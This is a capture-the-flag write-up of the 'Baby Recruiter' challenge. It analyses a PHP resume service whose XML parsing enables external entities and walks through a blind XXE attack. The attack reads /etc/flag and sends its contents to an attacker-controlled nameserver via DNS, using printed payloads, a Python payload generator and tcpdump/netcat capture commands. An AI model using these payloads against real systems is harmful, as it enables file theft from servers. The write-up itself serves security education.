Challenge

We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)

P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).

Opening the website which is linked in the description, gives us the following:

Baby Recruiter

Furthermore, we can download an archive which contains the following files:

  • Dockerfile
  • iptables.sh
  • setup.sh
  • index.php

Service analysis

The Service allows us to enter arbitrary text, which is then converted into a pdf and returned to us for download. Because we have the service given as source code, we start with it.

Dockerfile

The Dockerfile contains some interesting information for further exploitation:

Foremost, it removes all .dtd and .xml files present on the system. It even tells us the reason, because it needs to defend against hackers ;).

The second information is the location of the flag.

# ... not relevant ...

# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete

RUN find / -name "*.xml" -type f -delete

# ... not relevant ...

# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag

# ... not relevant ...

iptables.sh

This file tells us we can only do outbound DNS connections, and inbounding HTTP connections:

#!/bin/bash
IPT="/sbin/iptables"

# ... not relevant ...

echo "Set default policy to 'DROP'"
$IPT -P INPUT   DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT  DROP

## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p udp --sport 53 -m state --state ESTABLISHED     -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p tcp --sport 53 -m state --state ESTABLISHED     -j ACCEPT

echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT  -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED     -j ACCEPT

# ... not relevant ...

setup.sh

This is just a helper file to build the container, and we see that the iptables rules are applied.

#!/bin/bash

# build docker
docker build -t babyrecruiter .

# setup firewall
docker run --cap-add=NET_ADMIN  -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'

index.php

This file contains the PHP application running on the web-server. It receives the content transmitted from the HTML form, writes it into a temporary file, executes /usr/bin/prince to create the pdf and returns it.

Oh, and there is some debug code that was not commented out, and which does XML handling. What could possibly go wrong…

<?php  
$binary = "/usr/bin/prince";

stream_wrapper_unregister("phar");
stream_wrapper_unregister("data");
stream_wrapper_unregister("glob");
stream_wrapper_unregister("compress.zlib");
stream_wrapper_unregister("php");

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    /* create resume using prince */
    $content = $_POST['content'];
    $filename = md5($_SERVER['REMOTE_ADDR']);
    $file = "/tmp/" . $filename  . ".html";
    $sf = fopen($file, 'w');
    fwrite($sf, $content);
    fclose($sf);

    exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf");

    /* debug */
    $dom = new DOMDocument();
    $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);
    $info = simplexml_import_dom($dom);
    /* ... not relevant (commented out debug-code which uses $info) ... */
    header('Location: /resumes/' .  $filename . '.pdf');
} else { /* ... not relevant (serve title page) ... */ }

So, what programming errors do we spot, which could lead to an exploit?

  1. The filename of the temporary, as well as of the resulting file is calculated from the remote address. This means we always know where it will be stored.
  2. We execute /usr/bin/prince with parameters derived from the user.
  3. We parse the content as an XML document, with the following parameters:
    • LIBXML_NOENT enables the substitution of XML character entity references.
    • LIBXML_DTDLOAD enables loading of external document type definitions (DTD)
  4. The temporary file is never deleted from the server

XML external entities, as well as loading of DTD, are a rather common vulnerability, which even got their own entry in the OWASP TOP 10.

Exploit

From those pieces of information, it seems pretty clear the challenge author wants us to do some sort of XXE attack on the service. We have external entities as well as document type definitions enabled, which gives us read access to the file system. Because there is no further processing of the XML after parsing, we need to do a blind XXE attack.

To extract data from the server there are only two possible points to do so: Either send it back with HTTP, in an inbound connection or send it along with a DNS request as an outbound connection. Only DNS looks promising to do flag extraction, so we will continue with this.

To extract data with DNS, we need to construct an url which contains the file data. For the XXE payload, I took inspiration from the XXE Cheat Sheet published by SecurityIdiots. The example looks like the following:

<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM '%data;.attacker.com'>">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/evil.dtd" > %x; %param1;
]>
<asdf>
    <qwerty>&exfil;</qwerty>
</asdf>

It consists of a DTD and an XML file using that DTD. We can tell the XML parser to substitute the entity exfil with the definition defined in our DTD, which also substitutes the entity data with the content of /etc/flag.

Some adjustments need to be done by us to get it working for this service. First, we need to get the DTD onto the server and reference it by our XML. Looking onto the service, we see that the file is uploaded to a known path, which is "/tmp/".md5($_SERVER['REMOTE_ADDR']).".html". REMOTE_ADDR is the public IP of our server, which we can find out, for example, using DuckDuckGo. The file is never removed, so we can access it in the future, as long as it is not overwritten.

Because we need to upload two files, and the file is written to disk before parsing of the XML, we need to execute the attack from two different public IP’s. After placing the DTD on the server, we can upload the XML file from a second system, where we use the known path to our DTD. This should lead the server to parse the XML and a request to our nameserver containing the flag.

It has to be noted, that the DTD in our case will not end with .dtd, but with .html as this suffix is appended by the service on creation.


I wrote an interactive script, to help with the attack:

#!/usr/bin/env python3

import hashlib

DNS_URI = "this.is.our.nameserver"

print(f""""* Upload this file from one ip:
---------------------------------------------------------------------------
<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://%data;.{DNS_URI}'>">
---------------------------------------------------------------------------
""")

ip = input(" * Input your public ip from this uploaded: ")
ip_hashed = hashlib.md5(ip.encode()).hexdigest()

print(f""" * Upload this file from a different ip:
---------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/{ip_hashed}.html" > %x; %param1;
]>
<xxe>
    <attack>&exfil;</attack>
</xxe>
---------------------------------------------------------------------------
""")

Get the flag

Now we can execute the attack to get our flag using our script and an unlucky ctf college.

Step 1: Deploy a DNS Resolver

To exploit this service, we need to have quite some preparations set-up, compared to other CTF challenges.

Namely, a nameserver which is controlled by us, and where we can log requests. This requires us to have at least access to a nameserver where we can set an NS entry, and a server where we have root access as well as a public IP.

We can skip the point of installing a nameserver on the server. We only need to capture all traffic requesting a DNS resolve by us. To do so, we first need to start a tcpdump process which captures all DNS traffic:

tcpdump -w pwn2win_baby_recruiter.pcap port 53

Furthermore, we will tell netcat to listen for DNS traffic:

nc -lvp 53

Now, the DNS request to our server should be captured for sure.

Step 2: Upload DTD

In my case, I asked a friend to upload the DTD to the game-server and tell me his public IP address in return. This is required to calculate the path of the DTD on the server for the next step:

<!ENTITY % data SYSTEM "file:///etc/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://%data;.this.is.our.nameserver'>">

Step 3: Upload XML

Using the known location of the DTD, I need to upload this XML file which causes the XML parser to substitute &exfil; and in succession sending us the flag.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "/tmp/f528764d624db129b32c21fbca0cb8d6.html" > %x; %param1;
]>
<xxe>
    <attack>&exfil;</attack>
</xxe>

Step 4: Profit

We only need to stop tcpdump, download the file with scp and open it in Wireshark. Doing so allows us to extract the flag: c0ngr4tz_y0u_w3r3_4ccpt3d